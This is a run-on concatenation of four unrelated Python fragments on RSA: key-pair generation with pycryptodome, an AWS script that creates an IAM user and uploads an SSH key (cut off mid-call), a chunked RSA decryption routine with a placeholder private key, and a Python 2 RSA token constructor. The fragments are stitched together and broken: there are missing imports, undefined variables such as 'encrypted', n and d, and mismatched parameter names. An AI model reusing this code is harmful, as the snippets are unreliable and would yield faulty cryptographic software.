# -*- coding: utf-8 -*- # 依赖包 pip install pycryptodome # 如果仍然报没有Module可以尝试将 python安装目录下site-packages的子文件夹crypto改成Crypto from Crypto import Random from Crypto.PublicKey import RSA # 利用伪随机数来生成私钥和公钥 random_generator = Random.new().read keys = RSA.generate(1024, random_generator) private_pem = keys.exportKey() f = open('private_key.pem', 'w') f.write(private_pem.decode('utf-8')) f.close() public_pem = keys.publickey().exportKey() f = open('public_key.pem', 'w') f.write(public_pem.decode('utf-8')) f.close()
from Crypto.PublicKey import RSA if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-u", "--user", help="IAM username") parser.add_argument("-b", "--bucket", help="S3 bucket to store ssh private key") values = parser.parse_args() iam = boto3.client('iam') res = iam.create_user(UserName=values.user) iam.attach_user_policy( UserName=values.user, PolicyArn='arn:aws:iam::aws:policy/IAMUserSSHKeys' ) key = RSA.generate(2048) res = iam.upload_ssh_public_key( UserName=values.user, SSHPublicKeyBody=key.publickey().exportKey('OpenSSH') ) ssh_id = res['SSHPublicKey']['SSHPublicKeyId'] s3 = boto3.client('s3') s3.put_object( Bucket=values.bucket, Key=values.user, Metadata={ 'sshId': ssh_id }, ACL='private',
#!/usr/bin/python import zlib, base64 from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP private_key = "###PRIVATE KEY###" rsakey = RSA.importKey(private_key) rsakey = PKCS1_OAEP.new(rsakey) chunk_size = 256 offset = 0 decrypted = "" encrypted = base64.b64decode(encrypted) while offset < len(encrypted): decrypted += rsakey.decrypt(encrypted[offset:offset + chunk_size]) offset += chunk_size # now we decompress to original plaintext = zlib.decompress(decrypted) print plaintext
def __init__( self, **kw ): """ Constructor, kw is dict of CRT paramters and RSA key. Required RSA priv. key params (as long) n, d, e - modulus and private exponent or p, q, e - primes p, q, and public exponent e If also dp, dq, qinv present, they are checked to be consistent. Default value for e is 0x10001 """ # super( RSAtoken, self ).__init__( **kw ) Token.__init__( self, **kw ) # check RSA parameters for par in ( 'n', 'd', 'e', 'p', 'q', 'dp', 'dq', 'dqinv' ): if par in kw: assert isinstance( long( kw[par] ), long ), \ "RSA parameter %s must be long" % par e = long( kw.get( 'e', 0x10001L )) if 'n' in kw and 'd' in kw: self.key = RSA.construct(( n, e, d )) elif 'p' in kw and 'q' in kw: p = kw['p'] q = kw['q'] n = p*q d = number.inverse( e, (p-1)*(q-1)) if 'd' in kw: assert d == kw['d'], "Inconsinstent private exponent" if 'dp' in kw: assert d % (p-1) == kw['dp'], "Inconsistent d mod (p-1)" if 'dq' in kw: assert d % (q-1) == kw['dq'], "Inconsistent d mod (q-1)" u = number.inverse( q, p ) if 'qinv' in kw: assert u == kw['qinv'], "Inconsistent q inv" self.key = RSA.construct(( n, e, d, q, p, u ))